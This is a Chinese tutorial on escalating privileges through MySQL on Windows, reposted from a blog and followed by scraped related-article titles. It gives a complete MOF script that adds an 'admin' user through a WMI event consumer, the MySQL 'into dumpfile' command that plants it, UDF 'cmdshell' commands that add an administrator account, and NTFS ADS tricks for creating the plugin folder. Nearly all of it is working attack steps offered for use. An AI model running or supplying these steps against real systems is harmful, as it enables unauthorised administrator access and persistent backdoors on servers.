1.MOF提权

简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码。此举称之为mof提权。

以下便是脚本:

1 #pragma namespace("\\\\.\\root\\subscription")2

3 instance of __EventFilter as$EventFilter4 {5 EventNamespace = "Root\\Cimv2";6 Name = "filtP2";7 Query = "Select * From __InstanceModificationEvent"

8 "Where TargetInstance Isa \"Win32_LocalTime\" "

9 "And TargetInstance.Second = 5";10 QueryLanguage = "WQL";11 };12

13 instance of ActiveScriptEventConsumer as$Consumer14 {15 Name = "consPCSV2";16 ScriptingEngine = "JScript";17 ScriptText =

18 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";19 };20

21 instance of__FilterToConsumerBinding22 {23 Consumer =$Consumer;24 Filter =$EventFilter;25 };

保存为a.mof然后找一个可写目录上传a.mof,使用MySQL执行:select load_file(‘D:\wamp\a.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘;

即可提权成功。PS:添加的账号密码在脚本里。

2.UDF提权

0x01

首先需要判断版本。且在导出dll的时候需要多加一个斜杠

mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\   一般情况下是大于5.2的,而默认情况下[Plugin]目录也是不存在的。可以通过菜刀新建,如若不行可以通过0x03的NTFS流创建。

0x02

创建cmdshell函数

create function cmdshell returns string soname ‘udf.dll‘;

select cmdshell(‘net user waitalone waitalone.cn /add‘);

select cmdshell(‘net localgroup administrators waitalone /add‘);

drop function cmdshell; 删除函数

delete from mysql.func where name=‘cmdshell‘  删除函数

0x03

在默认情况下会遇到Can‘t open shared library也就是文件夹问题,需要创建一刚开始说的文件夹,可以菜刀里直接新建,如若不行,可以通过NTFS创建。

查找到mysql的目录:select @@basedir;

利用NTFS ADS创建lib目录:select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;

利用NTFS ADS创建plugin目录:select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;

然后导出以后就再创建函数通过函数来执行cmd即可。

原文:https://www.cnblogs.com/nul1/p/9602512.html

mysql ntfs 提权 (errcode: 22)_mysql 提权总结相关推荐

  1. mysql提权软件后门_Mysql提权留后门

    记录一次关于无聊时对基友MYSQL服务器的提权攻击. 尽管没有完全攻击到对方,并且没有清理痕迹,但是,这里写写简单的防御方式. 0x01.从无聊的nmap扫描开始 今晚无聊时候,本想打开电脑扫下谁连进 ...

  2. mysql mof提权_MySQL提权之mof提权

    mof提权原理 关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次 ...

  3. mysql 5 可执行漏洞_漏洞预警:MySQL 0-day代码执行漏洞 可本地提权

    来自波兰的安全研究人员Dawid Golunski刚刚发现了两个MySQL的0-day漏洞,影响到所有版本分支.默认配置的MySQL服务器(5.7.5.6和5.5),包括最新版本.攻击者可以远程和本地 ...

  4. mysql mof提权原理_[原创]WEB安全第六章提权篇12 mof提权

    WEB安全第六章提权篇12 mof提权 1.mof是什么 托管对象格式 (MOF) 文件是创建和注册提供程序.事件类别和事件的简便方法.在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译.编 ...

  5. 提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

    一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的 ...

  6. mysql cve 2016 3521_MySQL-based databases CVE-2016-6664 本地提权

    @date: 2016/11/10 @author: dlive 0x00 前言 这个漏洞可以结合CVE-2016-6663使用提升权限到root 0x01 漏洞原文 # http://legalha ...

  7. 系统提权之:Windows 提权

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Wi ...

  8. 提权学习:第三方软件提权(巴西烤肉提权和启动项提权)

    当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 巴西烤肉提权 启动项提权 0x01 启动项提权 0x02 启动项提权,拓展知识 [写入启动项提权/启动项里提权] 巴西烤肉提权 首先,基本 ...

  9. 提权学习:第三方软件提权(FileZilla 提权)14147

    当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 FileZilla 提权 0x01 介绍 0x02 提权思路 0x03 操作演示 0x04 拓展知识 提权的思路就以下几种: 这篇文章直接 ...

最新文章

  1. gcc c语言标准,GCC 7.1发布 支持当前所有的C ++ 17标准
  2. 牛客练习赛25 B-最长区间
  3. 美国计算机生物学要求,美国大学CS专业分支生物信息学和计算生物学专业 Bioinformatics and Computational Biology介绍...
  4. ajax兼容低版本浏览器
  5. 中间表该怎么查询_「日语四级」日语四级准考证号忘了怎么查成绩
  6. 23. Navigator javaEnabled() 方法
  7. 5G时代下的移动边缘计算(MEC)探索系列之二
  8. AWVS13破解docker一键安装
  9. Dos窗口的常见打开方式和常见命令
  10. python123数字转换_Python 中文(大写)数字转阿拉伯数字(转)
  11. 不安装office的情况下如何实现对excel的导入导出
  12. 两个天才黑客:一人在牢狱之灾后退隐江湖,一人蜕变成阿里巴巴“守护神”!...
  13. 大数据投资人必读:中国大数据发展与投资分析报告
  14. 最全面java中的static关键字剖析
  15. redis 迁移工具 redis-port 从阿里云迁移到aws
  16. 2021/9/4王者荣耀服务器崩掉
  17. 2004年中国企业自主创新宣言
  18. 深度学习模型的构建三、优化函数optimizer
  19. 了解Oracle历史
  20. linux 是大端还是小端,详解大端模式和小端模式

热门文章

  1. R语言ggplot2可视化在分面图(facet_grid)的条形图上添加计数(count)或者百分比(percent)标签实战
  2. R语言If、Else条件语句实战
  3. R语言β分布函数(dbeta、pbeta、qbeta、rbeta)实战
  4. plotly自定义股票数据绘图
  5. cufflinks基于dataframe数据绘制三维散点图(3d scatter plot)
  6. 主题模型简介(Topic Models)
  7. java中getDelta是什么意思_Java IResourceDelta.getMarkerDeltas方法代码示例
  8. Gene co-expression analysis for functional classification and gene–disease predictions 基因共表达分析的功能分类
  9. Nanopore sequencing technology and tools for genome assembly: computational analysis of the current
  10. 使用泰坦尼克号数据进行决策树、随机森林